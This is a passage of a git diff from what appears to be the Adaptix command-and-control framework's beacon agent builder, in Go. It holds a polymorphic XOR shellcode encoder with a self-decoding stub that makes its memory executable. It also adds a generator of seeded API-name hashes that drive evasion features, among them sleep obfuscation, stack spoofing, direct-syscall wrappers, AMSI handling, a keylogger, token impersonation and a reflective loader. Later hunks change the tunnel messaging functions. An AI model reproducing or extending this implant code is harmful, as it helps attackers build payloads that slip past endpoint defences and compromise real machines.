addVal := dataEnd - (epilogueOff + 6) + code[addEaxOff+2] = byte(addVal) + + // Patch ebp-relative offsets + put32LE(code, vpLeaKeyOff+2, uint32(keyOffset)) + put32LE(code, vpMovSizeOff+2, uint32(sizeOffset)) + put32LE(code, xorLeaKeyOff+2, uint32(keyOffset)) + put32LE(code, xorLeaDataOff+2, uint32(dataEnd)) + put32LE(code, xorMovSizeOff+2, uint32(sizeOffset)) + + return code, keyOffset, sizeOffset +} + +// xorEncodeShellcode applies XOR encoding to a shellcode payload. +// Returns the encoded payload prepended with a polymorphic self-decoding stub that: +// 1. Resolves VirtualProtect via PEB walk (kernel32) using random DJB2 seed +// 2. Makes its own memory RWX +// 3. XOR-decodes the payload in-place +// 4. Jumps to the decoded payload +// +// Each call generates a unique stub with different: +// - DJB2 hash seed and target hash +// - Junk instruction padding (variable size) +// - Instruction equivalences in the decode loop +func xorEncodeShellcode(payload []byte, arch string) ([]byte, error) { + // Generate 16-byte random XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, err + } + + // XOR-encode the payload + encoded := make([]byte, len(payload)) + for i, b := range payload { + encoded[i] = b ^ key[i%16] + } + + // Generate polymorphic stub + var stub []byte + var keyOffset, sizeOffset int + if arch == "x86" { + stub, keyOffset, sizeOffset = generateStubX86() + } else { + stub, keyOffset, sizeOffset = generateStubX64() + } + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size into stub (little-endian uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // Assemble: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + return result, nil +} diff --git a/AdaptixServer/extenders/beacon_agent/pl_hashes.go b/AdaptixServer/extenders/beacon_agent/pl_hashes.go new file mode 100644 index 000000000..bc9a10f33 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/pl_hashes.go @@ -0,0 +1,416 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32. +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2a computes a case-insensitive DJB2 hash for ASCII function names. +func djb2a(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// djb2w computes a case-insensitive DJB2 hash for module names (UTF-16LE on Windows). +// For ASCII-only DLL names, iterating WCHAR* values produces the same result as +// iterating char* values, so this is equivalent to djb2a. +func djb2w(seed uint32, s string) uint32 { + return djb2a(seed, s) +} + +// hashEntry holds a define name and the string to hash. +type hashEntry struct { + define string + name string +} + +// libEntry holds a library define name and the DLL name. +type libEntry struct { + define string + dllName string +} + +var hashLibs = []libEntry{ + {"HASH_LIB_NTDLL", "ntdll.dll"}, + {"HASH_LIB_KERNEL32", "kernel32.dll"}, + {"HASH_LIB_KERNELBASE", "kernelbase.dll"}, + {"HASH_LIB_IPHLPAPI", "iphlpapi.dll"}, + {"HASH_LIB_ADVAPI32", "advapi32.dll"}, + {"HASH_LIB_MSVCRT", "msvcrt.dll"}, + {"HASH_LIB_WS2_32", "ws2_32.dll"}, + {"HASH_LIB_WININET", "wininet.dll"}, + {"HASH_LIB_USER32", "user32.dll"}, + {"HASH_LIB_AMSI", "amsi.dll"}, +} + +// hashFunctions is organized by sections matching the original hashes.py + extra hashes from ApiDefines.h +var hashFuncSections = []struct { + comment string + funcs []hashEntry +}{ + {"//ntdll", []hashEntry{ + {"HASH_FUNC_NTCLOSE", "NtClose"}, + {"HASH_FUNC_NTCONTINUE", "NtContinue"}, + {"HASH_FUNC_NTFREEVIRTUALMEMORY", "NtFreeVirtualMemory"}, + {"HASH_FUNC_NTQUERYINFORMATIONPROCESS", "NtQueryInformationProcess"}, + {"HASH_FUNC_NTQUERYSYSTEMINFORMATION", "NtQuerySystemInformation"}, + {"HASH_FUNC_NTOPENPROCESS", "NtOpenProcess"}, + {"HASH_FUNC_NTOPENPROCESSTOKEN", "NtOpenProcessToken"}, + {"HASH_FUNC_NTOPENTHREADTOKEN", "NtOpenThreadToken"}, + {"HASH_FUNC_NTTERMINATETHREAD", "NtTerminateThread"}, + {"HASH_FUNC_NTTERMINATEPROCESS", "NtTerminateProcess"}, + {"HASH_FUNC_RTLGETVERSION", "RtlGetVersion"}, + {"HASH_FUNC_RTLEXITUSERTHREAD", "RtlExitUserThread"}, + {"HASH_FUNC_RTLEXITUSERPROCESS", "RtlExitUserProcess"}, + {"HASH_FUNC_RTLIPV4STRINGTOADDRESSA", "RtlIpv4StringToAddressA"}, + {"HASH_FUNC_RTLRANDOMEX", "RtlRandomEx"}, + {"HASH_FUNC_RTLNTSTATUSTODOSERROR", "RtlNtStatusToDosError"}, + {"HASH_FUNC_NTFLUSHINSTRUCTIONCACHE", "NtFlushInstructionCache"}, + {"HASH_FUNC_RTLINITIALIZECRITICALSECTION", "RtlInitializeCriticalSection"}, + {"HASH_FUNC_RTLDELETECRITICALSECTION", "RtlDeleteCriticalSection"}, + {"HASH_FUNC_NTCREATEEVENT", "NtCreateEvent"}, + {"HASH_FUNC_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"}, + {"HASH_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT", "NtSignalAndWaitForSingleObject"}, + {"HASH_FUNC_NTQUEUEAPCTHREAD", "NtQueueApcThread"}, + {"HASH_FUNC_NTALERTRESUMETHREAD", "NtAlertResumeThread"}, + {"HASH_FUNC_NTPROTECTVIRTUALMEMORY", "NtProtectVirtualMemory"}, + {"HASH_FUNC_NTCREATETHREADEX", "NtCreateThreadEx"}, + {"HASH_FUNC_NTSETEVENT", "NtSetEvent"}, + {"HASH_FUNC_NTQUERYVIRTUALMEMORY", "NtQueryVirtualMemory"}, + {"HASH_FUNC_NTCREATESECTION", "NtCreateSection"}, + {"HASH_FUNC_NTMAPVIEWOFSECTION", "NtMapViewOfSection"}, + {"HASH_FUNC_NTUNMAPVIEWOFSECTION", "NtUnmapViewOfSection"}, + {"HASH_FUNC_ETWEVENTWRITE", "EtwEventWrite"}, + {"HASH_FUNC_NTALLOCATEVIRTUALMEMORY", "NtAllocateVirtualMemory"}, + {"HASH_FUNC_NTOPENFILE", "NtOpenFile"}, + {"HASH_FUNC_NTREADFILE", "NtReadFile"}, + {"HASH_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER", "RtlAddVectoredExceptionHandler"}, + {"HASH_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER", "RtlRemoveVectoredExceptionHandler"}, + {"HASH_FUNC_RTLCREATEHEAP", "RtlCreateHeap"}, + {"HASH_FUNC_RTLALLOCATEHEAP", "RtlAllocateHeap"}, + {"HASH_FUNC_RTLFREEHEAP", "RtlFreeHeap"}, + {"HASH_FUNC_RTLDESTROYHEAP", "RtlDestroyHeap"}, + }}, + {"// Shinkiro Zw* (SSN sort by address)", []hashEntry{ + {"HASH_FUNC_ZWCLOSE", "ZwClose"}, + {"HASH_FUNC_ZWCONTINUE", "ZwContinue"}, + {"HASH_FUNC_ZWFREEVIRTUALMEMORY", "ZwFreeVirtualMemory"}, + {"HASH_FUNC_ZWQUERYINFORMATIONPROCESS", "ZwQueryInformationProcess"}, + {"HASH_FUNC_ZWQUERYSYSTEMINFORMATION", "ZwQuerySystemInformation"}, + {"HASH_FUNC_ZWOPENPROCESS", "ZwOpenProcess"}, + {"HASH_FUNC_ZWOPENPROCESSTOKEN", "ZwOpenProcessToken"}, + {"HASH_FUNC_ZWOPENTHREADTOKEN", "ZwOpenThreadToken"}, + {"HASH_FUNC_ZWTERMINATETHREAD", "ZwTerminateThread"}, + {"HASH_FUNC_ZWTERMINATEPROCESS", "ZwTerminateProcess"}, + {"HASH_FUNC_ZWCREATEEVENT", "ZwCreateEvent"}, + {"HASH_FUNC_ZWWAITFORSINGLEOBJECT", "ZwWaitForSingleObject"}, + {"HASH_FUNC_ZWSIGNALANDWAITFORSINGLEOBJECT", "ZwSignalAndWaitForSingleObject"}, + {"HASH_FUNC_ZWQUEUEAPCTHREAD", "ZwQueueApcThread"}, + {"HASH_FUNC_ZWALERTRESUMETHREAD", "ZwAlertResumeThread"}, + {"HASH_FUNC_ZWPROTECTVIRTUALMEMORY", "ZwProtectVirtualMemory"}, + {"HASH_FUNC_ZWCREATETHREADEX", "ZwCreateThreadEx"}, + {"HASH_FUNC_ZWSETEVENT", "ZwSetEvent"}, + {"HASH_FUNC_ZWCREATESECTION", "ZwCreateSection"}, + {"HASH_FUNC_ZWMAPVIEWOFSECTION", "ZwMapViewOfSection"}, + {"HASH_FUNC_ZWUNMAPVIEWOFSECTION", "ZwUnmapViewOfSection"}, + {"HASH_FUNC_ZWALLOCATEVIRTUALMEMORY", "ZwAllocateVirtualMemory"}, + {"HASH_FUNC_ZWOPENFILE", "ZwOpenFile"}, + {"HASH_FUNC_ZWREADFILE", "ZwReadFile"}, + {"HASH_FUNC_ZWFLUSHINSTRUCTIONCACHE", "ZwFlushInstructionCache"}, + {"HASH_FUNC_ZWQUERYVIRTUALMEMORY", "ZwQueryVirtualMemory"}, + }}, + {"// ThreadStack Spoofing (TsInit frame targets)", []hashEntry{ + {"HASH_TS_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"}, + {"HASH_TS_BASETHREADINITTHUNK", "BaseThreadInitThunk"}, + {"HASH_TS_RTLUSERTHREADSTART", "RtlUserThreadStart"}, + {"HASH_TS_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"}, + }}, + {"// Ekko Sleep Obfuscation (timer queue)", []hashEntry{ + {"HASH_FUNC_RTLCREATETIMERQUEUE", "RtlCreateTimerQueue"}, + {"HASH_FUNC_RTLCREATETIMER", "RtlCreateTimer"}, + {"HASH_FUNC_RTLDELETETIMERQUEUE", "RtlDeleteTimerQueue"}, + }}, + {"// Ekko Sleep Obfuscation (kernel32 ROP chain)", []hashEntry{ + {"HASH_FUNC_VIRTUALPROTECT", "VirtualProtect"}, + {"HASH_FUNC_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"}, + {"HASH_FUNC_SETEVENT", "SetEvent"}, + }}, + {"// amsi", []hashEntry{ + {"HASH_FUNC_AMSISCANBUFFER", "AmsiScanBuffer"}, + }}, + {"//kernel32", []hashEntry{ + {"HASH_FUNC_CONNECTNAMEDPIPE", "ConnectNamedPipe"}, + {"HASH_FUNC_COPYFILEA", "CopyFileA"}, + {"HASH_FUNC_CREATEDIRECTORYA", "CreateDirectoryA"}, + {"HASH_FUNC_CREATEEVENTA", "CreateEventA"}, + {"HASH_FUNC_CREATEFILEA", "CreateFileA"}, + {"HASH_FUNC_CREATENAMEDPIPEA", "CreateNamedPipeA"}, + {"HASH_FUNC_CREATEPIPE", "CreatePipe"}, + {"HASH_FUNC_CREATEPROCESSA", "CreateProcessA"}, + {"HASH_FUNC_CREATETHREAD", "CreateThread"}, + {"HASH_FUNC_DELETECRITICALSECTION", "DeleteCriticalSection"}, + {"HASH_FUNC_DELETEFILEA", "DeleteFileA"}, + {"HASH_FUNC_DISCONNECTNAMEDPIPE", "DisconnectNamedPipe"}, + {"HASH_FUNC_ENTERCRITICALSECTION", "EnterCriticalSection"}, + {"HASH_FUNC_FINDCLOSE", "FindClose"}, + {"HASH_FUNC_FINDFIRSTFILEA", "FindFirstFileA"}, + {"HASH_FUNC_FINDNEXTFILEA", "FindNextFileA"}, + {"HASH_FUNC_FREELIBRARY", "FreeLibrary"}, + {"HASH_FUNC_FLUSHFILEBUFFERS", "FlushFileBuffers"}, + {"HASH_FUNC_GETACP", "GetACP"}, + {"HASH_FUNC_GETCOMPUTERNAMEEXA", "GetComputerNameExA"}, + {"HASH_FUNC_GETCURRENTDIRECTORYA", "GetCurrentDirectoryA"}, + {"HASH_FUNC_GETDRIVETYPEA", "GetDriveTypeA"}, + {"HASH_FUNC_GETEXITCODEPROCESS", "GetExitCodeProcess"}, + {"HASH_FUNC_GETEXITCODETHREAD", "GetExitCodeThread"}, + {"HASH_FUNC_GETFILESIZE", "GetFileSize"}, + {"HASH_FUNC_GETFILEATTRIBUTESA", "GetFileAttributesA"}, + {"HASH_FUNC_GETFULLPATHNAMEA", "GetFullPathNameA"}, + {"HASH_FUNC_GETTHREADCONTEXT", "GetThreadContext"}, + {"HASH_FUNC_GETLASTERROR", "GetLastError"}, + {"HASH_FUNC_GETLOGICALDRIVES", "GetLogicalDrives"}, + {"HASH_FUNC_GETOEMCP", "GetOEMCP"}, + {"HASH_FUNC_K32GETMODULEBASENAMEA", "K32GetModuleBaseNameA"}, + {"HASH_FUNC_GETMODULEBASENAMEA", "GetModuleBaseNameA"}, + {"HASH_FUNC_GETMODULEHANDLEA", "GetModuleHandleA"}, + {"HASH_FUNC_GETPROCADDRESS", "GetProcAddress"}, + {"HASH_FUNC_GETLOCALTIME", "GetLocalTime"}, + {"HASH_FUNC_GETSYSTEMTIMEASFILETIME", "GetSystemTimeAsFileTime"}, + {"HASH_FUNC_GETTICKCOUNT", "GetTickCount"}, + {"HASH_FUNC_GETTIMEZONEINFORMATION", "GetTimeZoneInformation"}, + {"HASH_FUNC_GETUSERNAMEA", "GetUserNameA"}, + {"HASH_FUNC_HEAPALLOC", "HeapAlloc"}, + {"HASH_FUNC_HEAPCREATE", "HeapCreate"}, + {"HASH_FUNC_HEAPDESTROY", "HeapDestroy"}, + {"HASH_FUNC_HEAPREALLOC", "HeapReAlloc"}, + {"HASH_FUNC_HEAPFREE", "HeapFree"}, + {"HASH_FUNC_INITIALIZECRITICALSECTION", "InitializeCriticalSection"}, + {"HASH_FUNC_ISWOW64PROCESS", "IsWow64Process"}, + {"HASH_FUNC_LEAVECRITICALSECTION", "LeaveCriticalSection"}, + {"HASH_FUNC_LOADLIBRARYA", "LoadLibraryA"}, + {"HASH_FUNC_LOCALALLOC", "LocalAlloc"}, + {"HASH_FUNC_LOCALFREE", "LocalFree"}, + {"HASH_FUNC_LOCALREALLOC", "LocalReAlloc"}, + {"HASH_FUNC_MOVEFILEA", "MoveFileA"}, + {"HASH_FUNC_MULTIBYTETOWIDECHAR", "MultiByteToWideChar"}, + {"HASH_FUNC_PEEKNAMEDPIPE", "PeekNamedPipe"}, + {"HASH_FUNC_READFILE", "ReadFile"}, + {"HASH_FUNC_REMOVEDIRECTORYA", "RemoveDirectoryA"}, + {"HASH_FUNC_RESETEVENT", "ResetEvent"}, + {"HASH_FUNC_RTLCAPTURECONTEXT", "RtlCaptureContext"}, + {"HASH_FUNC_SETCURRENTDIRECTORYA", "SetCurrentDirectoryA"}, + {"HASH_FUNC_SETNAMEDPIPEHANDLESTATE", "SetNamedPipeHandleState"}, + {"HASH_FUNC_SLEEP", "Sleep"}, + {"HASH_FUNC_TRYENTERCRITICALSECTION", "TryEnterCriticalSection"}, + {"HASH_FUNC_VIRTUALALLOC", "VirtualAlloc"}, + {"HASH_FUNC_VIRTUALFREE", "VirtualFree"}, + {"HASH_FUNC_WAITFORSINGLEOBJECT", "WaitForSingleObject"}, + {"HASH_FUNC_WAITNAMEDPIPEA", "WaitNamedPipeA"}, + {"HASH_FUNC_WIDECHARTOMULTIBYTE", "WideCharToMultiByte"}, + {"HASH_FUNC_WRITEFILE", "WriteFile"}, + }}, + {"// iphlpapi", []hashEntry{ + {"HASH_FUNC_GETADAPTERSINFO", "GetAdaptersInfo"}, + }}, + {"// advapi32", []hashEntry{ + {"HASH_FUNC_ALLOCATEANDINITIALIZESID", "AllocateAndInitializeSid"}, + {"HASH_FUNC_CREATEPROCESSASUSERA", "CreateProcessAsUserA"}, + {"HASH_FUNC_CREATEPROCESSWITHTOKENW", "CreateProcessWithTokenW"}, + {"HASH_FUNC_DUPLICATETOKENEX", "DuplicateTokenEx"}, + {"HASH_FUNC_GETTOKENINFORMATION", "GetTokenInformation"}, + {"HASH_FUNC_INITIALIZESECURITYDESCRIPTOR", "InitializeSecurityDescriptor"}, + {"HASH_FUNC_IMPERSONATELOGGEDONUSER", "ImpersonateLoggedOnUser"}, + {"HASH_FUNC_FREESID", "FreeSid"}, + {"HASH_FUNC_LOOKUPACCOUNTSIDA", "LookupAccountSidA"}, + {"HASH_FUNC_REVERTTOSELF", "RevertToSelf"}, + {"HASH_FUNC_SETTHREADTOKEN", "SetThreadToken"}, + {"HASH_FUNC_SETENTRIESINACLA", "SetEntriesInAclA"}, + {"HASH_FUNC_SETSECURITYDESCRIPTORDACL", "SetSecurityDescriptorDacl"}, + {"HASH_FUNC_SYSTEMFUNCTION036", "SystemFunction036"}, + {"HASH_FUNC_SYSTEMFUNCTION032", "SystemFunction032"}, + }}, + {"// msvcrt", []hashEntry{ + {"HASH_FUNC_PRINTF", "printf"}, + {"HASH_FUNC_VSNPRINTF", "vsnprintf"}, + {"HASH_FUNC__SNPRINTF", "_snprintf"}, + }}, + {"// BOF", []hashEntry{ + {"HASH_FUNC_BEACONDATAPARSE", "BeaconDataParse"}, + {"HASH_FUNC_BEACONDATAINT", "BeaconDataInt"}, + {"HASH_FUNC_BEACONDATASHORT", "BeaconDataShort"}, + {"HASH_FUNC_BEACONDATALENGTH", "BeaconDataLength"}, + {"HASH_FUNC_BEACONDATAEXTRACT", "BeaconDataExtract"}, + {"HASH_FUNC_BEACONFORMATALLOC", "BeaconFormatAlloc"}, + {"HASH_FUNC_BEACONFORMATRESET", "BeaconFormatReset"}, + {"HASH_FUNC_BEACONFORMATAPPEND", "BeaconFormatAppend"}, + {"HASH_FUNC_BEACONFORMATPRINTF", "BeaconFormatPrintf"}, + {"HASH_FUNC_BEACONFORMATTOSTRING", "BeaconFormatToString"}, + {"HASH_FUNC_BEACONFORMATFREE", "BeaconFormatFree"}, + {"HASH_FUNC_BEACONFORMATINT", "BeaconFormatInt"}, + {"HASH_FUNC_BEACONOUTPUT", "BeaconOutput"}, + {"HASH_FUNC_BEACONPRINTF", "BeaconPrintf"}, + {"HASH_FUNC_BEACONUSETOKEN", "BeaconUseToken"}, + {"HASH_FUNC_BEACONREVERTTOKEN", "BeaconRevertToken"}, + {"HASH_FUNC_BEACONISADMIN", "BeaconIsAdmin"}, + {"HASH_FUNC_BEACONGETSPAWNTO", "BeaconGetSpawnTo"}, + {"HASH_FUNC_BEACONINJECTPROCESS", "BeaconInjectProcess"}, + {"HASH_FUNC_BEACONINJECTTEMPORARYPROCESS", "BeaconInjectTemporaryProcess"}, + {"HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS", "BeaconSpawnTemporaryProcess"}, + {"HASH_FUNC_BEACONCLEANUPPROCESS", "BeaconCleanupProcess"}, + {"HASH_FUNC_TOWIDECHAR", "toWideChar"}, + {"HASH_FUNC_BEACONINFORMATION", "BeaconInformation"}, + {"HASH_FUNC_BEACONADDVALUE", "BeaconAddValue"}, + {"HASH_FUNC_BEACONGETVALUE", "BeaconGetValue"}, + {"HASH_FUNC_BEACONREMOVEVALUE", "BeaconRemoveValue"}, + // duplicates from kernel32 (BOF API resolution) + // HASH_FUNC_LOADLIBRARYA, HASH_FUNC_GETPROCADDRESS, HASH_FUNC_GETMODULEHANDLEA, HASH_FUNC_FREELIBRARY already defined above + {"HASH_FUNC___C_SPECIFIC_HANDLER", "__C_specific_handler"}, + {"HASH_FUNC_AXADDSCREENSHOT", "AxAddScreenshot"}, + {"HASH_FUNC_AXDOWNLOADMEMORY", "AxDownloadMemory"}, + {"HASH_FUNC_BEACONWAKEUP", "BeaconWakeup"}, + {"HASH_FUNC_BEACONGETSTOPJOBEVENT", "BeaconGetStopJobEvent"}, + {"HASH_FUNC_BEACONREGISTERTHREADCALLBACK", "BeaconRegisterThreadCallback"}, + {"HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK", "BeaconUnregisterThreadCallback"}, + }}, + {"// wininet", []hashEntry{ + {"HASH_FUNC_INTERNETOPENA", "InternetOpenA"}, + {"HASH_FUNC_INTERNETCONNECTA", "InternetConnectA"}, + {"HASH_FUNC_HTTPOPENREQUESTA", "HttpOpenRequestA"}, + {"HASH_FUNC_HTTPSENDREQUESTA", "HttpSendRequestA"}, + {"HASH_FUNC_INTERNETSETOPTIONA", "InternetSetOptionA"}, + {"HASH_FUNC_INTERNETQUERYOPTIONA", "InternetQueryOptionA"}, + {"HASH_FUNC_HTTPQUERYINFOA", "HttpQueryInfoA"}, + {"HASH_FUNC_INTERNETQUERYDATAAVAILABLE", "InternetQueryDataAvailable"}, + {"HASH_FUNC_INTERNETCLOSEHANDLE", "InternetCloseHandle"}, + {"HASH_FUNC_INTERNETREADFILE", "InternetReadFile"}, + }}, + {"// user32 (keylogger)", []hashEntry{ + {"HASH_FUNC_GETASYNCKEYSTATE", "GetAsyncKeyState"}, + {"HASH_FUNC_GETKEYBOARDSTATE", "GetKeyboardState"}, + {"HASH_FUNC_TOUNICODE", "ToUnicode"}, + {"HASH_FUNC_MAPVIRTUALKEYW", "MapVirtualKeyW"}, + {"HASH_FUNC_GETFOREGROUNDWINDOW", "GetForegroundWindow"}, + {"HASH_FUNC_GETWINDOWTEXTW", "GetWindowTextW"}, + {"HASH_FUNC_GETWINDOWTHREADPROCESSID", "GetWindowThreadProcessId"}, + }}, + {"// ws2_32", []hashEntry{ + {"HASH_FUNC_WSASTARTUP", "WSAStartup"}, + {"HASH_FUNC_WSACLEANUP", "WSACleanup"}, + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_GETHOSTBYNAME", "gethostbyname"}, + {"HASH_FUNC_IOCTLSOCKET", "ioctlsocket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_WSAGETLASTERROR", "WSAGetLastError"}, + {"HASH_FUNC_CLOSESOCKET", "closesocket"}, + {"HASH_FUNC_SELECT", "select"}, + {"HASH_FUNC___WSAFDISSET", "__WSAFDIsSet"}, + {"HASH_FUNC_SHUTDOWN", "shutdown"}, + {"HASH_FUNC_RECV", "recv"}, + {"HASH_FUNC_SEND", "send"}, + {"HASH_FUNC_ACCEPT", "accept"}, + {"HASH_FUNC_BIND", "bind"}, + {"HASH_FUNC_LISTEN", "listen"}, + {"HASH_FUNC_RECVFROM", "recvfrom"}, + {"HASH_FUNC_SENDTO", "sendto"}, + }}, + {"// shinkiro v2: per-syscall Win32 wrapper functions (kernelbase/kernel32/advapi32)", []hashEntry{ + {"HASH_WRAPPER_CLOSEHANDLE", "CloseHandle"}, + {"HASH_WRAPPER_OPENPROCESS", "OpenProcess"}, + {"HASH_WRAPPER_OPENPROCESSTOKEN", "OpenProcessToken"}, + {"HASH_WRAPPER_OPENTHREADTOKEN", "OpenThreadToken"}, + {"HASH_WRAPPER_TERMINATETHREAD", "TerminateThread"}, + {"HASH_WRAPPER_TERMINATEPROCESS", "TerminateProcess"}, + {"HASH_WRAPPER_CREATEEVENTW", "CreateEventW"}, + {"HASH_WRAPPER_WAITFORSINGLEOBJECT", "WaitForSingleObject"}, + {"HASH_WRAPPER_SIGNALOBJECTANDWAIT", "SignalObjectAndWait"}, + {"HASH_WRAPPER_QUEUEUSERAPC", "QueueUserAPC"}, + {"HASH_WRAPPER_CREATEREMOTETHREAD", "CreateRemoteThread"}, + {"HASH_WRAPPER_CREATEFILEMAPPINGW", "CreateFileMappingW"}, + {"HASH_WRAPPER_MAPVIEWOFFILE", "MapViewOfFile"}, + {"HASH_WRAPPER_UNMAPVIEWOFFILE", "UnmapViewOfFile"}, + {"HASH_WRAPPER_CREATEFILEW", "CreateFileW"}, + {"HASH_FUNC_FLUSHINSTRUCTIONCACHE", "FlushInstructionCache"}, + }}, +} + +// generateApiDefines produces the full ApiDefines.h content with the given DJB2 seed. +func generateApiDefines(seed uint32) string { + var b strings.Builder + b.WriteString("#pragma once\n") + + // Library hashes (DJB2W) + for _, lib := range hashLibs { + h := djb2w(seed, lib.dllName) + pad := 35 - len(lib.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", lib.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + + // Function hashes (DJB2A) organized by section + for _, section := range hashFuncSections { + b.WriteString(section.comment + "\n") + for _, entry := range section.funcs { + h := djb2a(seed, entry.name) + pad := 35 - len(entry.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", entry.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + } + + return b.String() +} + +// StubHashes holds the pre-computed DJB2 hashes for the reflective loader stub. +// These are passed to nasm as -D defines so each payload has unique hash constants. +type StubHashes struct { + ModNtdll uint32 + ModKernel32 uint32 + NtCreateSection uint32 + NtMapViewOfSection uint32 + NtProtectVirtualMem uint32 + NtClose uint32 + LoadLibraryA uint32 + GetProcAddress uint32 + FlushInstructionCache uint32 + FreeLibrary uint32 + LoadLibraryExA uint32 +} + +// computeStubHashes computes all DJB2 hashes needed by stub_rdi.x64.asm +// using the given random seed. Module names use djb2w (wchar), export +// names use djb2a (ASCII) — both case-insensitive. +func computeStubHashes(seed uint32) StubHashes { + return StubHashes{ + ModNtdll: djb2w(seed, "ntdll.dll"), + ModKernel32: djb2w(seed, "kernel32.dll"), + NtCreateSection: djb2a(seed, "NtCreateSection"), + NtMapViewOfSection: djb2a(seed, "NtMapViewOfSection"), + NtProtectVirtualMem: djb2a(seed, "NtProtectVirtualMemory"), + NtClose: djb2a(seed, "NtClose"), + LoadLibraryA: djb2a(seed, "LoadLibraryA"), + GetProcAddress: djb2a(seed, "GetProcAddress"), + FlushInstructionCache: djb2a(seed, "FlushInstructionCache"), + FreeLibrary: djb2a(seed, "FreeLibrary"), + LoadLibraryExA: djb2a(seed, "LoadLibraryExA"), + } +} diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index 20133080a..a3c7bccbc 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -31,7 +31,7 @@ type Teamserver interface { TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error TsAgentBuildLog(builderId string, status int, message string) error - TsAgentConsoleOutput(agentId string, client string, messageType int, message string, clearText string, store bool) + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error TsGetPivotInfoByName(pivotName string) (string, string, string) @@ -107,8 +107,8 @@ func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { return &ExtenderAgent{} } -func makeProxyTask(packData []byte, priority uint) adaptix.TaskData { - return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Priority: priority, Sync: false} +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false} } func getStringArg(args map[string]any, key string) (string, error) { @@ -153,7 +153,7 @@ func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, add array := []interface{}{COMMAND_TUNNEL_START_TCP, channelId, tunnelType, address, port} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CREATE) + return makeProxyTask(packData) } func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { @@ -162,7 +162,7 @@ func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, add array := []interface{}{COMMAND_TUNNEL_START_UDP, channelId, address, port} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CREATE) + return makeProxyTask(packData) } func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { @@ -171,7 +171,7 @@ func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { array := []interface{}{COMMAND_TUNNEL_WRITE_TCP, channelId, len(data), data} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_DATA) + return makeProxyTask(packData) } func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { @@ -180,7 +180,7 @@ func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { array := []interface{}{COMMAND_TUNNEL_WRITE_UDP, channelId, len(data), data} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_DATA) + return makeProxyTask(packData) } func TunnelMessagePause(channelId int) adaptix.TaskData { @@ -189,7 +189,7 @@ func TunnelMessagePause(channelId int) adaptix.TaskData { array := []interface{}{COMMAND_TUNNEL_PAUSE, channelId} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CREATE) + return makeProxyTask(packData) } func TunnelMessageResume(channelId int) adaptix.TaskData { @@ -198,7 +198,7 @@ func TunnelMessageResume(channelId int) adaptix.TaskData { array := []interface{}{COMMAND_TUNNEL_RESUME, channelId} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CREATE) + return makeProxyTask(packData) } func TunnelMessageClose(channelId int) adaptix.TaskData { @@ -207,7 +207,7 @@ func TunnelMessageClose(channelId int) adaptix.TaskData { array := []interface{}{COMMAND_TUNNEL_CLOSE, channelId} packData, _ = PackArray(array) /// END CODE HERE - return makeProxyTask(packData, PRIORITY_TUNNEL_CLOSE) + return makeProxyTask(packData) } func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { @@ -216,7 +216,7 @@ func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { array := 